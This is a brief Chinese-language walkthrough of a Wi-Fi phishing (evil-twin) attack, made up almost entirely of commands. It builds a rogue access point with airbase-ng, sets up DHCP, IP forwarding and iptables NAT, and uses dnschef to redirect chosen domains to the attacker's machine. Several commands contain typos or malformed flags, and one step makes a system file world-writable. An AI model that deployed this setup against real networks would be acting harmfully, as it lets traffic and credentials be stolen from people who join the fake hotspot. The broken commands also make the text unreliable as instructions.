WIFI 钓鱼

安装 dhcp 服务并创建 leases 文件

apt update && apt install -y isc-dhcp-server
touch /var/lib/dhcp/dhcpd.leases
chmod 777 /var/lib/dhcp/dhcpd.leases

修改 dhcpd.conf 配置文件

连接无线网卡

关闭网卡

ifoncif wlan0 down

设置监听模式后开启网卡

iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng start wlan0

通过 airbase-ng 建立无线热点

airbase-ng -e WIFI名称 -c 信道 wlan0

设置 at0 地址和网关，添加路由，并将虚拟机作为转发机器

ifconfig at0 10.0.0.1 net netmask 255.255.255.0
route add -net 10.0.0.0 mask 255.255.255.0 gw 10.0.0.1
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
echo 1 > /proc/sys/net/ipv4/ip_forward

启动服务后配置规则

/etc/init.d/isc-dhcp-server start
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
iptables -A FORWARD -p tcp --syn -s 10.0.0.0/25 -j TCPMSS --set-mss 1356

连接钓鱼的无线网络

进行 DNS 劫持

#nameserver设置的是其他未被劫持的网站发送给Google的公共DNS服务器8.8.8.8/53查询结果
dnschef --fakedomains-被劫持的网站 --fakeip-10.0.0.1 -i 10.0.0.1 --namesever 8.8.8.8#53